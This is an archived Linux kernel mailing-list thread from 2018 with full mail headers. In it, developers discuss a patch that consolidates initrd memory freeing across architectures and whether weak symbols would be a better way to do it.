	List-Subscribe:List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:
	MIME-Version:Message-ID:Date:References:In-Reply-To:Subject:To:From:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=gTJD67uXAUDCeosAawBBoPphF7aoqOzq/B6GAp4LqBM=; b=StxfomrFDGbPBG2YFP+Z11kAz
	K+ZqBC1UIkOhTxCcQnNnVrzucKI1AH94FTHFc+OUkKDkNqfQwhoMFRqfw1mK67dLNaQHpbgGC+CrP
	6P0p0N3RqcmmdQ00tbDzylfnzyM476FjxwCdijKxUk6hMUlMPrdrcto6QLtBTnBKcXSyvnu84LbIk
	u3P0aQdd036huRIrgtY4rVNmXDjBxXLBHLOT/73GERT676u5dSTbx+sy/lHwKKntbcZ5bKnVYtZkg
	hIEZtQR9bI9cdWCTBJSB3QejIS+m438KZMsotDfbZ9Vcb0IkioEu0/5JML3RSu4fc0RzXqV9WIVgC
	dm+VbZGHQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1DYz-0003kK-5U; Wed, 28 Mar 2018 16:04:37 +0000
Original-Received: from smtprelay0088.hostedemail.com ([216.40.44.88]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1DYv-0003i0-HA; Wed, 28 Mar 2018 16:04:35 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay03.hostedemail.com (Postfix) with ESMTP id 93EAD837F252;
 Wed, 28 Mar 2018 16:04:18 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 
X-HE-Tag: tin15_7cc987b91425
X-Filterd-Recvd-Size: 6895
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf12.hostedemail.com (Postfix) with ESMTPA;
 Wed, 28 Mar 2018 16:04:13 +0000 (UTC)
In-Reply-To: <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_090433_687451_96D40573 
X-CRM114-Status: GOOD (  11.51  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.88 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3691 gmane.linux.kernel:2727701 gmane.linux.ports.mips.general:64260 gmane.linux.ports.sh.devel:56755 gmane.linux.ports.ia64:28759 gmane.linux.ports.hexagon:1608 gmane.linux.kernel.metag:1729 gmane.linux.ports.arm.kernel:641530 gmane.linux.ports.parisc:28434 gmane.linux.ports.alpha:4890 gmane.linux.ports.sparc:27494 gmane.linux.uml.devel:16714 gmane.linux.uml.user:15399 gmane.linux.ports.ppc64.devel:155393
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3691>

--===============2477001509995621341==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha256; protocol="application/pgp-signature"

--=-=-=
Content-Type: text/plain

Hi Rob,

Rob Landley <rob@landley.net> writes:

> On 03/28/2018 10:26 AM, Shea Levy wrote:
>> Now only those architectures that have custom initrd free requirements
>> need to define free_initrd_mem.
> ...
>> --- a/arch/arc/mm/init.c
>> +++ b/arch/arc/mm/init.c
>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
>>  {
>>  	free_initmem_default(-1);
>>  }
>> -
>> -#ifdef CONFIG_BLK_DEV_INITRD
>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
>> -{
>> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
>> -}
>> -#endif
>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
>> index 3f972e83909b..19d1c5594e2d 100644
>> --- a/arch/arm/Kconfig
>> +++ b/arch/arm/Kconfig
>> @@ -47,6 +47,7 @@ config ARM
>>  	select HARDIRQS_SW_RESEND
>>  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>>  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
>> +	select HAVE_ARCH_FREE_INITRD_MEM
>>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
>>  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
>>  	select HAVE_ARCH_MMAP_RND_BITS if MMU
>
> Isn't this why weak symbols were invented?
>

This approach was suggested by Christoph Hellwig upthread, and seems to
have some precedent elsewhere (e.g. strncasecmp), but I agree weak
symbols seem appropriate here. I'm happy to implement either approach!

>
> Confused,
>
> Rob

Thanks,
Shea

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE6ESKvwKkwnxgMLnaXAvWlX2G/icFAlq7vPwACgkQXAvWlX2G
/if+nw/+PoGVROmqDrZBJgIrBQ4iqr8JYstaRZvlA9dxV21BXbFQka8L1+cd8ma5
7PvtjL4EfGGPxzNYBJVXzz7LjbkJp4IGDWTRhm5kuh7bFP9l3MmYd1OQhXAzd94b
ZbqvNz9A/fM1I0cg0adEqHJi9cJtiAU/wS8cloZtdRHL9QCQPqIe6tCglj/8tFK1
f0iG7gGakfrJzlxgY+Jd/RYUKaDLQoFlgjcVf7CI+Qro8U0zOTWdl9x1ifEXYMK6
XBo9bPSVAeFEE8Du+JHUpKdoachX5nWjo9qpFpfLMu9n3fFKx8rVChTvaSxd8U36
BF5rJNaZwLweNIovJMrjcYEkqIgVTKyoGqt5mbrypDk+3YTFpMmtW5WjHiSLEwDz
/RPjwiNMEjBwDIGSEDg+5ZHFe3XqnV4x3QBzzvZmHNhs4EosiAqmoKXRr8Y3T1qB
lyNp1R4KcxNr9ZfHrTQhbw3djEwOVsTLfqw7jTFwiklzTOrCiMSL0ZuwsXEIeZuK
3APYuKe7kpJ4A4M96puGy+R65sJOY3ivyo9j/RGryDjhybXGbGHqW8hBYFWFzBv0
ceBFwd71TWrTq8wWhVNgqCgLomfjovL2VfwmRsVXDTGRqcD5jRRc6fnGcR+97Dpa
86p3i5woQCxRbtzT8Kt4BfFGit8lP5SDC06EnGj/0KaULzdxZI0=
=UTNs
-----END PGP SIGNATURE-----
--=-=-=--


--===============2477001509995621341==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--===============2477001509995621341==--



From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 17:48:14 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20180328164813.GA3888@n2100.armlinux.org.uk>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522255670 9478 195.159.176.226 (28 Mar 2018 16:47:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 16:47:50 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Rob Landley <rob@landley.net>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 18:47:37 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1EEa-0002AV-No
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 18:47:37 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=EnNoqydAdvMP6pR700fSXlr66rfHwTwavSVRXI1y1ns=; b=VtTBw3ivWquJSe
	prLCL9mpZAZ2HX/n6XWepyb1wOYBe5/85DLrapQY7Vw1UCNPG6P2edhbq8r9evISghqp4x7XkrzMC
	6cqFEPkXLFkY/j66CpQ/YGvOjLnEHYweugByalAeeArBz9asrtATfbVYh4HbgDNQb+cBb4tsYj9Ee
	7KX7fMnF7a4CKm/zItEu9Hb7jmCkwIBLBg+UNDttwnGRHhaK4e20vHkm6XBV4ILW0HtICOj06LabK
	MxqUlAYJ238Fn/f2a+rMGMPiaUj0mzRJIi0x4yj/eXxSdbg2arALn9Rqg0C3I/m7xg2v1F/i16lyX
	khiDXdqY0bWNFJuZ8A3g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1EGd-0007An-QW; Wed, 28 Mar 2018 16:49:43 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1EGa-00078E-Sc
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 16:49:43 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=iIi57hmdUHu/G2PcLLQKVvJN4dL/nzk3JYon59E2zQw=; 
 b=oPiSPwhddBJyyLAmQs82TiFjpBPcivwJE1urXf3p86d0WxbL8DoulegTAuymldkTeBcDVs27e/6SY7qPC0e4j8mHC3RtDJmRUdQ9imnetv5boESAorrcRiN0yIFjQmX2iQM/2GKmudUkkEVULeq+6PWKqra7v5hkz6dXbaH5m8w=;
Original-Received: from n2100.armlinux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:41908)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:AES128-GCM-SHA256:128)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1f1EFG-0002lU-GK; Wed, 28 Mar 2018 17:48:18 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim
 4.82_1-5b7a7c0-XX) (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1f1EFD-00011t-1q; Wed, 28 Mar 2018 17:48:15 +0100
Content-Disposition: inline
In-Reply-To: <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_094941_413267_2EA0CA84 
X-CRM114-Status: GOOD (  16.07  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [2001:4d48:ad52:3201:214:fdff:fe10:1be6 listed in]
 [list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3692 gmane.linux.ports.mips.general:64264 gmane.linux.ports.sh.devel:56756 gmane.linux.kernel:2727729 gmane.linux.ports.ia64:28760 gmane.linux.ports.hexagon:1609 gmane.linux.kernel.metag:1730 gmane.linux.ports.arm.kernel:641539 gmane.linux.ports.parisc:28435 gmane.linux.ports.alpha:4891 gmane.linux.ports.sparc:27495 gmane.linux.uml.devel:16715 gmane.linux.uml.user:15400 gmane.linux.ports.ppc64.devel:155396
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3692>

On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> On 03/28/2018 10:26 AM, Shea Levy wrote:
> > Now only those architectures that have custom initrd free requirements
> > need to define free_initrd_mem.
> ...
> > --- a/arch/arc/mm/init.c
> > +++ b/arch/arc/mm/init.c
> > @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> >  {
> >  	free_initmem_default(-1);
> >  }
> > -
> > -#ifdef CONFIG_BLK_DEV_INITRD
> > -void __init free_initrd_mem(unsigned long start, unsigned long end)
> > -{
> > -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
> > -}
> > -#endif
> > diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> > index 3f972e83909b..19d1c5594e2d 100644
> > --- a/arch/arm/Kconfig
> > +++ b/arch/arm/Kconfig
> > @@ -47,6 +47,7 @@ config ARM
> >  	select HARDIRQS_SW_RESEND
> >  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> >  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> > +	select HAVE_ARCH_FREE_INITRD_MEM
> >  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> >  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> >  	select HAVE_ARCH_MMAP_RND_BITS if MMU
> 
> Isn't this why weak symbols were invented?

Weak symbols means that we end up with both the weakly-referenced code
and the arch code in the kernel image.  That's fine if the weak code
is small.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Wed, 28 Mar 2018 09:55:07 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CAGXu5jLioqnOQniXuuNS=PjeAgJr1=BL78Cqu0cwu_Y5e-NDZA@mail.gmail.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522256013 2648 195.159.176.226 (28 Mar 2018 16:53:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 28 Mar 2018 16:53:33 +0000 (UTC)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 linux-sh <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfou
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 18:53:20 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1EK6-0000LM-GA
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 18:53:19 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=XD3YubMSgQLrzG7fzlCHPdlK5JeryE3s2nYAUIAqPB0=; b=j9Hh+/XM71YiiU
	KAlcZ/O4bpxFVYItBk8tqOxbMrFaUhICrVsOJCNsZPlzw8FBRCIBMniys7PXVzZw8nasRhe71m0s+
	gNSyVRnLcrj/kVLJqj7psJ0YBgdIJiJf1k/du8v0fQ+0UFurhVIFniHiVlWKyKEkSmIs67BdugtMx
	EjpDdN+hijBWrFcTORIDGk/IRQCH0o5EjNOZkq+AlGcWN/dljuQnlybyaeO84NKM/7+2VEtRigYRs
	qAcisVxRtqpFodd4BhyMMTRN3K/8JZt1N90OkZCxivV3pM/Us0a2zflaZ/t5kAYJWhN2IN1UjCwwl
	ZAIRzaNytBmm6bqmsykA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1EM8-0001tJ-77; Wed, 28 Mar 2018 16:55:24 +0000
Original-Received: from mail-vk0-x242.google.com ([2607:f8b0:400c:c05::242])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1EM4-0001rA-Tm
 for linux-snps-arc@lists.infradead.org; Wed, 28 Mar 2018 16:55:22 +0000
Original-Received: by mail-vk0-x242.google.com with SMTP id j85so1794191vke.0
 for <linux-snps-arc@lists.infradead.org>; Wed, 28 Mar 2018 09:55:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=igUoMncjJWqGkLK9YYc5OMgjbea66b9N6X1DVXnuShw=;
 b=Lx1Vfi6yJqWrk1pgViO0DgQ285NcZoeX+UGmhSU2NqtiH3UixP0Udx+CBKPlh+YJeJ
 4O8wQLEaCJnilRvLNSPCIJSQMj8ruEnIM8+Zf/oRzJ1Va457UzxvTo4PW68JoLuN6P4P
 GNrTXMmb+tlcqPBXn/8VEcBpN3AI/WNZGCluyF0/Gf1PYLptxfEEhQvQ8TjLcXX5dTvE
 aIeMZUjVhtai7se5GoqzszeC23WbtG8N10RKDO1/GGSUEkQXtuxAaFLQjNIrtiByFSz1
 Mr/5RZb1qQXmSqcsKp7cXqxlgNer/ohpi99IJPEfpAMfdJOHWgGqHKd6qL8osrBnEGgt
 bYaw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=igUoMncjJWqGkLK9YYc5OMgjbea66b9N6X1DVXnuShw=;
 b=C9F023bTlqZq0HAbWOddgTbqqqsRqW8GD4IYemZscVuxFaWpbKOwZTHUS8yb+YyQg5
 2cjWnzvfiKuOWOWbzWbXuC8UeTPqi0fhSqUmcbILf2MbDc6Zj1hDVodmHq0TPGnSurn+
 /b30MfVfrexApbozsyyihNeUIXACBNGy9INjI=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=igUoMncjJWqGkLK9YYc5OMgjbea66b9N6X1DVXnuShw=;
 b=hZ+kYWFCITWiyD19IwmsW8QXIgpss4VD42dwMtbADeKkqedVb1+hS3qrIWTj/rhCgL
 1hJK4OC2KpZ9Cy+2m26ZygRipEdBvR72JCwPZRGqShbWg21VSvE+wv5WjTa5kigOt4kz
 MplriND2VLFtCcaeRf1JnPk787dWq4V8nIp+NOsSmI1G5j9xBra2Tr3V4n5bKfiFiN4I
 ntmSe5Ge+9Exa4jd6HgX2rdFazC6rqa5jvuUJv0eb2ANfuXhrfXh8hbrjvzeTvWACpC7
 Hqk1w4SXkXA2TA5Ec0v9xQR+ifmamRh9Qa3ZRiux9zGGmCL8OvUNkVe+uPBvF7y8DeMu
 kq4Q==
X-Gm-Message-State: AElRT7Hz1ze+M5c3M7lRV3G6DOf9QaJWGy1rQYx4S9lg7rpQatLvSiX5
 kxLd7IRTy3on9EKc3ggX87c+8jEfLjLW2OrlODaADA==
X-Google-Smtp-Source: AIpwx4/AaLNWnGImizTYImMY7WTQ/KVrr96pT4C3C5y6iI+e3+5ICgEO9lC7H7JLJZic5Jr9QqExXYJ9ZLR+fu29qKM=
X-Received: by 10.31.24.149 with SMTP id 143mr2811806vky.123.1522256108393;
 Wed, 28 Mar 2018 09:55:08 -0700 (PDT)
Original-Received: by 10.31.129.9 with HTTP; Wed, 28 Mar 2018 09:55:07 -0700 (PDT)
In-Reply-To: <20180328152714.6103-1-shea@shealevy.com>
X-Google-Sender-Auth: pJbrkNlGYsOjm2QGq3dxmEwoNP4
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180328_095520_959396_C9B39924 
X-CRM114-Status: GOOD (  14.09  )
X-Spam-Score: 0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400c:c05:0:0:0:242 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3693 gmane.linux.ports.mips.general:64265 gmane.linux.ports.sh.devel:56757 gmane.linux.kernel:2727730 gmane.linux.ports.ia64:28761 gmane.linux.ports.hexagon:1610 gmane.linux.kernel.metag:1731 gmane.linux.ports.arm.kernel:641540 gmane.linux.ports.parisc:28436 gmane.linux.ports.alpha:4892 gmane.linux.ports.sparc:27496 gmane.linux.uml.devel:16716 gmane.linux.uml.user:15401 gmane.linux.ports.ppc64.devel:155397
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3693>

On Wed, Mar 28, 2018 at 8:26 AM, Shea Levy <shea@shealevy.com> wrote:
> Now only those architectures that have custom initrd free requirements
> need to define free_initrd_mem.
>
> Signed-off-by: Shea Levy <shea@shealevy.com>

Yay consolidation! :)

> --- a/usr/Kconfig
> +++ b/usr/Kconfig
> @@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
